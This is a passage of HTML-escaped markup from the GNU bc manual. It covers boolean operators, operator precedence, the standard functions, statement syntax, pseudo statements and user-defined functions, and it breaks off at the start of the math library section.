&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Boolean-Expressions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Precedence&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Precedence&lt;/a&gt;, Previous: &lt;a href=&quot;#Relational-Expressions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Relational Expressions&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Boolean-Expressions-1&quot;&gt;&lt;span&gt;3.4 Boolean Expressions&lt;a class=&quot;copiable-link&quot; href=&quot;#Boolean-Expressions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;Boolean operations are also legal.  (POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; does NOT have
boolean operations). The result of all boolean operations are 0 and 1
(for false and true) as in relational expressions.  The boolean
operators are:
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;!expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if expr is 0.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr &amp;amp;&amp;amp; expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if both expressions are non-zero.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;expr || expr&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The result is 1 if either expression is non-zero.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Precedence&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Special-Expressions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Special Expressions&lt;/a&gt;, Previous: &lt;a href=&quot;#Boolean-Expressions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Boolean Expressions&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Precedence-1&quot;&gt;&lt;span&gt;3.5 Precedence&lt;a class=&quot;copiable-link&quot; href=&quot;#Precedence-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;The expression precedence is as follows: (lowest to highest)
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;|| operator, left associative
&amp;amp;&amp;amp; operator, left associative
! operator, nonassociative
Relational operators, left associative
Assignment operator, right associative
+ and - operators, left associative
*, / and % operators, left associative
^ operator, right associative
unary - operator, nonassociative
++ and -- operators, nonassociative
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This precedence was chosen so that POSIX compliant &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; programs
will run correctly. This will cause the use of the relational and
logical operators to have some unusual behavior when used with
assignment expressions.  Consider the expression:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;a = 3 &amp;lt; 5
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Most C programmers would assume this would assign the result of &amp;quot;3 &amp;lt;
5&amp;quot; (the value 1) to the variable &amp;quot;a&amp;quot;.  What this does in &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; is
assign the value 3 to the variable &amp;quot;a&amp;quot; and then compare 3 to 5.  It is
best to use parentheses when using relational and logical operators
with the assignment operators.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Special-Expressions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Previous: &lt;a href=&quot;#Precedence&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Precedence&lt;/a&gt;, Up: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Expressions&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Special-Expressions-1&quot;&gt;&lt;span&gt;3.6 Special Expressions&lt;a class=&quot;copiable-link&quot; href=&quot;#Special-Expressions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;There are a few more special expressions that are provided in
&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.  These have to do with user-defined functions and standard
functions.  They all appear as
&amp;quot;&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;&lt;code class=&quot;code&quot;&gt;(&lt;/code&gt;&lt;var class=&quot;var&quot;&gt;parameters&lt;/var&gt;&lt;code class=&quot;code&quot;&gt;)&lt;/code&gt;&amp;quot;.  See &lt;a class=&quot;xref&quot; href=&quot;#Functions&quot;&gt;Functions&lt;/a&gt;, for
user-defined functions.  The standard functions are:
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;length ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The value of the length function is the number of significant digits in the
expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;read ( )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The &lt;code class=&quot;code&quot;&gt;read&lt;/code&gt; function (an extension) will read a number from the
standard input, regardless of where the function occurs.  Beware, this
can cause problems with the mixing of data and program in the standard
input.  The best use for this function is in a previously written
program that needs input from the user, but never allows program code to
be input from the user.  The value of the &lt;code class=&quot;code&quot;&gt;read&lt;/code&gt; function is the
number read from the standard input using the current value of the
variable &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; for the conversion base.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;scale ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The value of the &lt;code class=&quot;code&quot;&gt;scale&lt;/code&gt; function is the number of digits after the
decimal point in the expression.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;sqrt ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The value of the &lt;code class=&quot;code&quot;&gt;sqrt&lt;/code&gt; function is the square root of the
expression.  If the expression is negative, a run time error is
generated.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Statements&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Functions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Functions&lt;/a&gt;, Previous: &lt;a href=&quot;#Expressions&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Expressions&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Statements-1&quot;&gt;&lt;span&gt;4 Statements&lt;a class=&quot;copiable-link&quot; href=&quot;#Statements-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;


&lt;p&gt;Statements (as in most algebraic languages) provide the sequencing of
expression evaluation.  In &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; statements are executed &amp;quot;as soon
as possible.&amp;quot;  Execution happens when a newline in encountered and there
is one or more complete statements.  Due to this immediate execution,
newlines are very important in &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;. In fact, both a semicolon
and a newline are used as statement separators.  An improperly placed
newline will cause a syntax error.  Because newlines are statement
separators, it is possible to hide a newline by using the backslash
character.  The sequence &amp;quot;\&amp;lt;nl&amp;gt;&amp;quot;, where &amp;lt;nl&amp;gt; is the newline appears to
&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; as whitespace instead of a newline.  A statement list is a
series of statements separated by semicolons and newlines.  The
following is a list of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; statements and what they do: (Things
enclosed in brackets ( [ ] ) are optional parts of the statement.)
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This statement does one of two things.  If the expression starts with
&amp;quot;&amp;lt;variable&amp;gt; &amp;lt;assignment&amp;gt; ...&amp;quot;, it is considered to be an assignment
statement.  If the expression is not an assignment statement, the
expression is evaluated and printed to the output.  After the number is
printed, a newline is printed.  For example, &amp;quot;a=1&amp;quot; is an assignment
statement and &amp;quot;(a=1)&amp;quot; is an expression that has an embedded assignment.
All numbers that are printed are printed in the base specified by the
variable &lt;var class=&quot;var&quot;&gt;obase&lt;/var&gt;. The legal values for &lt;var class=&quot;var&quot;&gt;obase&lt;/var&gt; are 2 through
BC_BASE_MAX (see &lt;a class=&quot;pxref&quot; href=&quot;#Environment-Variables&quot;&gt;Environment Variables&lt;/a&gt;).  For bases 2 through 16,
the usual method of writing numbers is used.  For bases greater than 16,
&lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; uses a multi-character digit method of printing the numbers
where each higher base digit is printed as a base 10 number.  The
multi-character digits are separated by spaces.  Each digit contains the
number of characters required to represent the base ten value of
&amp;quot;&lt;var class=&quot;var&quot;&gt;obase&lt;/var&gt; -1&amp;quot;.  Since numbers are of arbitrary precision, some
numbers may not be printable on a single output line.  These long
numbers will be split across lines using the &amp;quot;\&amp;quot; as the last character
on a line.  The maximum number of characters printed per line is 70.
Due to the interactive nature of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;, printing a number causes
the side effect of assigning the printed value to the special variable
&lt;var class=&quot;var&quot;&gt;last&lt;/var&gt;. This allows the user to recover the last value printed
without having to retype the expression that printed the number.
Assigning to &lt;var class=&quot;var&quot;&gt;last&lt;/var&gt; is legal and will overwrite the last printed
value with the assigned value.  The newly assigned value will remain
until the next number is printed or another value is assigned to
&lt;var class=&quot;var&quot;&gt;last&lt;/var&gt;.  (Some installations may allow the use of a single period
(.) which is not part of a number as a short hand notation for for
&lt;var class=&quot;var&quot;&gt;last&lt;/var&gt;.)
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;&lt;var class=&quot;var&quot;&gt;string&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The string is printed to the output.  Strings start with a double quote
character and contain all characters until the next double quote character.
All characters are taken literally, including any newline.  No newline
character is printed after the string.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;print &lt;var class=&quot;var&quot;&gt;list&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The &lt;code class=&quot;code&quot;&gt;print&lt;/code&gt; statement (an extension) provides another method of
output.  The &lt;var class=&quot;var&quot;&gt;list&lt;/var&gt; is a list of strings and expressions separated by
commas.  Each string or expression is printed in the order of the list.
No terminating newline is printed.  Expressions are evaluated and their
value is printed and assigned to the variable &lt;code class=&quot;code&quot;&gt;last&lt;/code&gt;. Strings in
the print statement are printed to the output and may contain special
characters.  Special characters start with the backslash character (\e).
The special characters recognized by &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; are &amp;quot;a&amp;quot; (alert or
bell), &amp;quot;b&amp;quot; (backspace), &amp;quot;f&amp;quot; (form feed), &amp;quot;n&amp;quot; (newline), &amp;quot;r&amp;quot; (carriage
return), &amp;quot;q&amp;quot; (double quote), &amp;quot;t&amp;quot; (tab), and &amp;quot;\e&amp;quot; (backslash).  Any other
character following the backslash will be ignored.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;{ &lt;var class=&quot;var&quot;&gt;statement_list&lt;/var&gt; }&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This is the compound statement.  It allows multiple statements to be
grouped together for execution.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;if ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; ) &lt;var class=&quot;var&quot;&gt;statement1&lt;/var&gt; [else &lt;var class=&quot;var&quot;&gt;statement2&lt;/var&gt;]&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The if statement evaluates the expression and executes statement1 or
statement2 depending on the value of the expression.  If the expression
is non-zero, statement1 is executed.  If statement2 is present and
the value of the expression is 0, then statement2 is executed.  (The
&lt;code class=&quot;code&quot;&gt;else&lt;/code&gt; clause is an extension.)
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;while ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; ) &lt;var class=&quot;var&quot;&gt;statement&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The while statement will execute the statement while the expression
is non-zero.  It evaluates the expression before each execution of
the statement.   Termination of the loop is caused by a zero
expression value or the execution of a &lt;code class=&quot;code&quot;&gt;break&lt;/code&gt; statement.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;for ( [&lt;var class=&quot;var&quot;&gt;expression1&lt;/var&gt;] ; [&lt;var class=&quot;var&quot;&gt;expression2&lt;/var&gt;] ; [&lt;var class=&quot;var&quot;&gt;expression3&lt;/var&gt;] ) &lt;var class=&quot;var&quot;&gt;statement&lt;/var&gt;&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The &lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statement controls repeated execution of the statement.
&lt;var class=&quot;var&quot;&gt;Expression1&lt;/var&gt; is evaluated before the loop.  &lt;var class=&quot;var&quot;&gt;Expression2&lt;/var&gt; is
evaluated before each execution of the statement.  If it is non-zero,
the statement is evaluated.  If it is zero, the loop is terminated.
After each execution of the statement, &lt;var class=&quot;var&quot;&gt;expression3&lt;/var&gt; is evaluated
before the reevaluation of expression2.  If &lt;var class=&quot;var&quot;&gt;expression1&lt;/var&gt; or
&lt;var class=&quot;var&quot;&gt;expression3&lt;/var&gt; are missing, nothing is evaluated at the point they
would be evaluated.  If &lt;var class=&quot;var&quot;&gt;expression2&lt;/var&gt; is missing, it is the same as
substituting the value 1 for &lt;var class=&quot;var&quot;&gt;expression2&lt;/var&gt;.  (The optional
expressions are an extension. POSIX &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; requires all three
expressions.)  The following is equivalent code for the &lt;code class=&quot;code&quot;&gt;for&lt;/code&gt;
statement:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;expression1;
while (expression2) {
   statement;
   expression3;
}
&lt;/pre&gt;&lt;/div&gt;

&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;break&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;This statement causes a forced exit of the most recent enclosing &lt;code class=&quot;code&quot;&gt;while&lt;/code&gt;
statement or &lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statement.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;continue&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The &lt;code class=&quot;code&quot;&gt;continue&lt;/code&gt; statement (an extension)  causes the most recent enclosing
&lt;code class=&quot;code&quot;&gt;for&lt;/code&gt; statement to start the next iteration.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;halt&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;The &lt;code class=&quot;code&quot;&gt;halt&lt;/code&gt; statement (an extension) is an executed statement that
causes the &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; processor to quit only when it is executed.  For
example, &amp;quot;if (0 == 1) halt&amp;quot; will not cause &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; to terminate
because the &lt;code class=&quot;code&quot;&gt;halt&lt;/code&gt; is not executed.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;return&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Return the value 0 from a function.  (See &lt;a class=&quot;xref&quot; href=&quot;#Functions&quot;&gt;Functions&lt;/a&gt;.)
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;return ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; )&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Return the value of the expression from a function.  (See &lt;a class=&quot;xref&quot; href=&quot;#Functions&quot;&gt;Functions&lt;/a&gt;.)
As an extension, the parenthesis are not required.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;ul class=&quot;mini-toc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#Pseudo-Statements&quot; accesskey=&quot;1&quot;&gt;Pseudo Statements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Pseudo-Statements&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Previous: &lt;a href=&quot;#Statements&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Statements&lt;/a&gt;, Up: &lt;a href=&quot;#Statements&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Statements&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h3 class=&quot;section&quot; id=&quot;Pseudo-Statements-1&quot;&gt;&lt;span&gt;4.1 Pseudo Statements&lt;a class=&quot;copiable-link&quot; href=&quot;#Pseudo-Statements-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;

&lt;p&gt;These statements are not statements in the traditional sense.  They are
not executed statements.  Their function is performed at &amp;quot;compile&amp;quot; time.
&lt;/p&gt;
&lt;dl class=&quot;table&quot;&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;limits&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Print the local limits enforced by the local version of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;.  This
is an extension.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;quit&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;When the &lt;code class=&quot;code&quot;&gt;quit&lt;/code&gt; statement is read, the &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; processor
is terminated, regardless of where the &lt;code class=&quot;code&quot;&gt;quit&lt;/code&gt; statement is found.  For
example, &amp;quot;if (0 == 1) quit&amp;quot; will cause &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; to terminate.
&lt;/p&gt;
&lt;/dd&gt;
&lt;dt&gt;&lt;code class=&quot;code&quot;&gt;warranty&lt;/code&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;p&gt;Print a longer warranty notice.  This is an extension.
&lt;/p&gt;&lt;/dd&gt;
&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Functions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Examples&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Examples&lt;/a&gt;, Previous: &lt;a href=&quot;#Statements&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Statements&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;Top&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Functions-1&quot;&gt;&lt;span&gt;5 Functions&lt;a class=&quot;copiable-link&quot; href=&quot;#Functions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;


&lt;p&gt;Functions provide a method of defining a computation that can be
executed later.  Functions in &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; always compute a value and
return it to the caller.  Function definitions are &amp;quot;dynamic&amp;quot; in the
sense that a function is undefined until a definition is encountered in
the input.  That definition is then used until another definition
function for the same name is encountered.  The new definition then
replaces the older definition.  A function is defined as follows:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;&lt;code class=&quot;code&quot;&gt;define&lt;/code&gt; &lt;var class=&quot;var&quot;&gt;name&lt;/var&gt; &lt;code class=&quot;code&quot;&gt;(&lt;/code&gt; &lt;var class=&quot;var&quot;&gt;parameters&lt;/var&gt; &lt;code class=&quot;code&quot;&gt;)&lt;/code&gt; &lt;code class=&quot;code&quot;&gt;{&lt;/code&gt; &lt;var class=&quot;var&quot;&gt;newline&lt;/var&gt;
    &lt;var class=&quot;var&quot;&gt;auto_list   statement_list&lt;/var&gt; &lt;code class=&quot;code&quot;&gt;}&lt;/code&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A function call is just an expression of the form
&amp;quot;&lt;code class=&quot;code&quot;&gt;name&lt;/code&gt; &lt;code class=&quot;code&quot;&gt;(&lt;/code&gt;&lt;var class=&quot;var&quot;&gt;parameters&lt;/var&gt;&lt;code class=&quot;code&quot;&gt;)&lt;/code&gt;&amp;quot;.
&lt;/p&gt;
&lt;p&gt;Parameters are numbers or arrays (an extension).  In the function definition,
zero or more parameters are defined by listing their names separated by
commas.  All parameters  are call by value parameters.
Arrays are specified in the parameter definition by
the notation &amp;quot;&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;&lt;code class=&quot;code&quot;&gt;[ ]&lt;/code&gt;&amp;quot;.   In the function call, actual parameters
are full expressions for number parameters.  The same notation is used
for passing arrays as for defining array parameters.  The named array is
passed by value to the function.  Since function definitions are dynamic,
parameter numbers and types are checked when a function is called.  Any
mismatch in number or types of parameters will cause a runtime error.
A runtime error will also occur for the call to an undefined function.
&lt;/p&gt;
&lt;p&gt;The &lt;var class=&quot;var&quot;&gt;auto_list&lt;/var&gt; is an optional list of variables that are for
&amp;quot;local&amp;quot; use.  The syntax of the auto list (if present) is &amp;quot;&lt;code class=&quot;code&quot;&gt;auto&lt;/code&gt;
&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;, ... ;&amp;quot;.  (The semicolon is optional.)  Each &lt;var class=&quot;var&quot;&gt;name&lt;/var&gt; is
the name of an auto variable.  Arrays may be specified by using the
same notation as used in parameters.  These variables have their
values pushed onto a stack at the start of the function.  The
variables are then initialized to zero and used throughout the
execution of the function.  At function exit, these variables are
popped so that the original value (at the time of the function call)
of these variables are restored.  The parameters are really auto
variables that are initialized to a value provided in the function
call.  
Auto variables are different than traditional local variables
because if function A calls function B, B may access function
A&amp;rsquo;s auto variables by just using the same name, unless function B has
called them auto variables.  Due to the fact that auto variables and
parameters are pushed onto a stack, &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; supports recursive functions.
&lt;/p&gt;
&lt;p&gt;The function body is a list of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt; statements.  Again, statements
are separated by semicolons or newlines.  Return statements cause the
termination of a function and the return of a value.  There are two
versions of the return statement.  The first form, &amp;quot;&lt;code class=&quot;code&quot;&gt;return&lt;/code&gt;&amp;quot;, returns
the value 0 to the calling expression.  The second form, 
&amp;quot;&lt;code class=&quot;code&quot;&gt;return&lt;/code&gt; ( &lt;var class=&quot;var&quot;&gt;expression&lt;/var&gt; )&amp;quot;, computes the value of the expression
and returns that value to the calling expression.  There is an implied
&amp;quot;&lt;code class=&quot;code&quot;&gt;return&lt;/code&gt; (0)&amp;quot; at the end of every function.  This allows a function
to terminate and return 0 without an explicit &lt;code class=&quot;code&quot;&gt;return&lt;/code&gt; statement.
&lt;/p&gt;
&lt;p&gt;Functions also change the usage of the variable &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;.  All
constants in the function body will be converted using the value of
&lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; at the time of the function call.  Changes of &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt;
will be ignored during the execution of the function except for the
standard function &lt;code class=&quot;code&quot;&gt;read&lt;/code&gt;, which will always use the current value
of &lt;var class=&quot;var&quot;&gt;ibase&lt;/var&gt; for conversion of numbers.
&lt;/p&gt;
&lt;p&gt;Several extensions have been added to functions.  First, the format of
the definition has been slightly relaxed.  The standard requires the
opening brace be on the same line as the &lt;code class=&quot;code&quot;&gt;define&lt;/code&gt; keyword and all
other parts must be on following lines.  This version of &lt;code class=&quot;command&quot;&gt;bc&lt;/code&gt;
will allow any number of newlines before and after the opening brace of
the function.  For example, the following definitions are legal.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;   define d (n) { return (2*n); }
   define d (n)
       { return (2*n); }
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Functions may be defined as &lt;code class=&quot;code&quot;&gt;void&lt;/code&gt;.  A void
funtion returns no value and thus may not be used in any place that needs
a value.  A void function does not produce any output when called by itself
on an input line.  The key word &lt;code class=&quot;code&quot;&gt;void&lt;/code&gt; is placed between the key word
&lt;code class=&quot;code&quot;&gt;define&lt;/code&gt; and the function name.  For example, consider the following
session.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;define py (y) { print &amp;quot;---&amp;gt;&amp;quot;, y, &amp;quot;&amp;lt;---&amp;quot;, &amp;quot;\n&amp;quot;; }
define void px (x) { print &amp;quot;---&amp;gt;&amp;quot;, x, &amp;quot;&amp;lt;---&amp;quot;, &amp;quot;\n&amp;quot;; }
py(1)
---&amp;gt;1&amp;lt;---
0
px(1)
---&amp;gt;1&amp;lt;---
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Since &lt;code class=&quot;code&quot;&gt;py&lt;/code&gt; is not a void function, the call of &lt;code class=&quot;code&quot;&gt;py(1)&lt;/code&gt; prints
the desired output and then prints a second line that is the value of
the function.  Since the value of a function that is not given an
explicit return statement is zero, the zero is printed.  For &lt;code class=&quot;code&quot;&gt;px(1)&lt;/code&gt;,
no zero is printed because the function is a void function.
&lt;/p&gt;
&lt;p&gt;Also, call by variable for arrays was added.  To declare a
call by variable array, the declaration of the array parameter in the
function definition looks like &amp;quot;&lt;code class=&quot;code&quot;&gt;*&lt;/code&gt;&lt;var class=&quot;var&quot;&gt;name&lt;/var&gt;&lt;code class=&quot;code&quot;&gt;[]&lt;/code&gt;&amp;quot;.  The call
to the function remains the same as call by value arrays.
&lt;/p&gt;
&lt;ul class=&quot;mini-toc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#Math-Library-Functions&quot; accesskey=&quot;1&quot;&gt;Math Library Functions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;div class=&quot;section-level-extent&quot; id=&quot;Math-Library-Functions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
